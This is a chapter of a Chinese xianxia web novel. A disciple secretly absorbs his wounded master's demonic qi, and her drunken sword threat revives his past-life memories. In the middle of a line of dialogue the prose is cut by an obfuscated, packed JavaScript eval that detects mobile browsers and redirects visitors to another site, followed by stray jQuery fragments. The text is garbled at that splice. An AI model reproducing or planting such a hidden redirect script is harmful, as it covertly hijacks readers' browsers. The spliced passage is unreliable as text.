回到剑宗后,李观水径直去了藏经阁。
鲲鹏骨,怪不得齐天乐说不强求,鲲鹏本就是指存在于传说中的生物,莫说是一截骨,就是连一根毛都找不到。
李观水倒是曾在南境幻境中见过鲲鹏,但那终归只是个幻境,且不说她能不能打败鲲鹏,拿到它身上的一截骨,就算她真打败了那庞然大物,也没办法把骨头从幻境中拿出来。
天方夜谭。
李观水如今灵力全废,在齐天乐的太初丹炼好之前,打算将自己泡在藏经阁内,寻找有关鲲鹏的一丝线索。
总是要试一试。
“师傅?”
李观水闻声望去,看见了个熟悉的人。
眉目疏朗,面容温润,天水碧色锦袍腰间束一条玉带钩,下袍缀有落花流水暗纹,行走间方见波痕潋滟,正是李陌。
李陌放回手中的书卷,走上前来:“真巧,没想到在这遇见师父。”
李观水受伤的消息不为外人所知,李陌只以为她又不知道跑到哪去了。反正总是这样,他又没资格多管。
可现在凑近一看,只觉得多日不见,李观水莫名消瘦许多,步履行走间底气不足,连唇瓣都只有一点虚虚的粉。
李陌心下一紧,直觉出了什么问题。
李观水和樊女怨一战在众目睽睽之下,不是秘密。可传出来的消息分明是说李观水带着佛门众人大获全胜,魔教右护法狼狈逃走。难道李观水……
李陌心脏狠狠一跳,还不等他细想,便听李观水问:“你近日常来这儿看典籍?”
李陌点头:“弟子天赋不如玉师妹,只好勤能补拙。”
李观水对弟子这种勤奋好学的态度颇为赞赏,宽慰他道:“世间天才少有。水滴石穿,百炼成钢,起步不如人者未必一直落于人后。”
李陌乖巧道:“弟子记住了。”
春暮午后,竹影横斜。
李观水说完勉励的话,便不再将注意力放在李陌身上,专心寻找起自己需要的经卷。李陌貌似看着纸上字里行间,实则余光一直关注着李观水。
女人不常用发饰,只用一根木簪简单挽起发髻。许是在熟人身边放下戒备,不持剑而执书卷的李观水气质不似寻常冷峻,沉静宛如大家闺秀。
她确实瘦了。
李陌的手不自觉攥紧了书页。
是夜,齐天乐炼丹需要些时日,期间由伤势引起的痛苦只能由李观水自己熬过去。
陷在被褥间,额头冒出虚汗涔涔。将身子蜷曲起来,似乎就能够抵抗一阵翻过一阵的痛楚。
她半梦半醒,脑袋昏沉得早分不清现实和梦境。时而见光怪陆离的仙境幻影,时而见恍如隔世的凡间岁月。
意识沉浮间,李观水好像见到了陌尚桑。
对方轻轻柔柔地将她扣在掌心的手分开,贴到他的面上。有一股如山间微风般的清凉,带走了李观水体内的躁动不安的魔气。
皱起的眉头缓缓舒展开,忍不住贴得更近,想要更多。
月色朦胧,李陌感受着怀中温软的躯体,心头思绪万千。
他上辈子就知道李观水在仙魔大战中留下了病根,只是她向来避之不谈,出现在人前时,从来一副从容淡然世外仙子的样子。
直到上一世身死,李陌都鲜少见李观水这般虚弱、不设防于人的样子。
李观水身上有魔气。
她没有魔魂,又从没有练过魔教功法,无法容纳的魔气不断和她身上的灵力冲突对抗,几乎要活生生将她撕裂开。
以李观水的性子,绝无可能修炼魔功。那么,除非有人能将她身上的魔气渡走,否则李观水迟早有一天会因灵力和魔气不相容,活活爆体而亡。
怎么会这样?
会不会是因为……他?
李陌不敢再想。
他将自己的身体充作容器,不断从李观水身上将混乱的魔气吸纳过来。紊乱错杂的魔气根本不分敌我,即使李陌身带魔魂,依旧难以安抚它们。
呼吸变得急促,紧咬的牙关间忍不住泄出半身呜咽,身体难以抑制地颤抖。
原来李观水要忍受的是这般痛楚。
若是在场还有旁人,恐怕会对李陌此时的模样大吃一惊。他那双眼睛已经彻底被黑暗淹没,不见半分眼白,眼角泣出鲜红的血,望之惊悚。
李观水醒来时,室内仅自己一人。
她疑惑地摊开双手,掌心完好无损,整个人神清气爽,似乎昨晚被旧伤折磨的痛不欲生只是自己做的一场噩梦。
这么多天来,昨晚是李观水睡得最好的一次。
心情舒畅,早起出门,见玉街行带着小蛇在庭中练剑,一招一式干净利落,场面格外和谐。
自凡间回来后,小蛇就更粘着玉街行,几乎到了形影不离的地步。
见到李观水,玉街行收回剑招,拱手行礼:“师傅。”
小蛇有样学样:“仙子。”
李观水抬手示意他们无需过多礼节,问:“怎么就你一人,你师兄呢?”
玉街行见李观水一来便是问李陌,暗暗撇嘴,不情不愿答着:“弟子不知,从早上起就没见着他,或许还躺在床上睡懒觉呢。”
这些年与李陌相处下来,李观水知道他是个上进好学的,日日晨练鲜少缺席。思虑一番,还是决定亲自去看看。
刚走到门口,正巧碰见李陌出来。
原本俊美无双的脸上,一条三指宽的素绫横覆双眸,系在脑后,余带垂落至未束的发尾。肤色白皙,唇色极淡,像是玉雕的一个人。
李观水诧异:“你的眼睛……”分明昨日在藏经阁时还好好的。
李陌手抚上白布,声音略带沙哑:“许是书看得多了,今日一觉醒来双眼干涩难当。用布蒙眼,休养些时日。”
弟子用功读书到眼睛都差点瞎了。李观水欣慰又心疼:“也好。月满则亏,水满则溢,劳逸结合才能持续长进。”
李陌自是应下。
接连好几日,由旧伤带来的痛苦减轻不少,李观水颇觉奇妙,却想不通其中有什么地方在起作用。
这日,齐天乐将炼成的丹药送来了剑宗。
“太初丹须得以酒作引,随酒吞服,才能最大程度的激发出丹药的效力。”他嘱咐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233078|197256||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道。
酒?
正好之前太常引不是给她送了一坛好酒吗!
原本预备贮藏起来几年后再喝,不过现下正好有喝酒的机会,择日不如撞日,李观水从地窖中将酒取出,起坛开封。
浓郁的香气如实体般倾泻而出,嗅一口气,便如饮一口美酒佳酿,堪称一句金浆玉液。
太常引不愧是酒中行家。
这样的酒用来配药,真有些暴殄天物。李观水摇摇头,倒一碗酒,吞入太初丹。
丹药入腹,化作一股暖流涌遍全身,宛如在寒冬腊月晒太阳般舒爽。随之而来的是口渴,口中干得像在沙漠中苦行不至的旅人。
李观水只觉得喉咙冒烟。奇怪的是,喝水却解不了渴。只好又倒出一碗酒浆,囫囵吞下后,才稍稍缓解体内的难受。
她这时才恍然大悟,为何齐天乐叮嘱她太初丹需得随酒吞服。
仿佛打开了什么机关。
李观水仰首将一碗又一碗美酒送下肚,动作不知不觉加快,才能缓解太初丹带来的干渴。
清液从嘴角溢出,来不及擦拭,顺着颌角流入衣襟,她整个人身上都沾染了酒香,简直像个酗酒狂徒。
“啪!”
直到半坛子酒空,李观水一把将酒碗拍在桌上。她抬手欲扶额,不知自己身在何方。
斜依榻上,木簪松垮,几缕青丝垂落,双颊蒸出胭脂色,原本秋水般的眸子蒙了层薄雾,眼波流转间露出几分茫然。
李陌到来时,便是这样一副场景。
自暂时双目不可视物后,他的嗅觉便越发灵敏。闻见了一股奇异的酒香,李陌奇怪,分明玄冥洞中无人饮酒。
循着香气一路走来,竟到了李观水的住处。
“师傅?”
他看不见,便试探着出声询问。
这一声“师傅”,唤回了李观水的少许理智。她甩甩脑袋,挣扎着从榻上起身,脚步蹒跚。
眼前视野模糊,似乎见到个熟悉的人影。
“是……是你!”
李陌不知道发生了什么,正想上前,突然浑身僵硬,愣愣低头,胸口处抵上一个硬物。
剑身上寒光一闪而过,稳稳停在他心口处。
执剑的女子云鬓散乱,木簪落地发出一声轻响,脚步虚浮,面上神情像犹豫又像痛苦,可握剑的右手却稳如磐石。
李陌双手微颤,摸上抵在心口的无痕剑。
此情此景,不正是他午夜梦回最深的梦魇么。
李陌为带回九转轮回珠而九死一生,回到剑宗时几乎只剩最后一口气。
但他活着回来了。
李观水终于能得偿所愿。
她所愿究竟是什么?
李陌悲痛地发出一声哀鸣。明明不愿再回忆,可上辈子的记忆仍然源源不断的涌入他的脑海。
李观水想要复活她那惨死在魔修手上的丈夫。
李陌得知真相,信念的一瞬间崩塌直接激化了魔魂复苏。属于李陌的那部分意识自甘封闭,将身体的操纵权让渡给天性邪恶、暴戾恣雎的魔魂。
魔尊重返世间。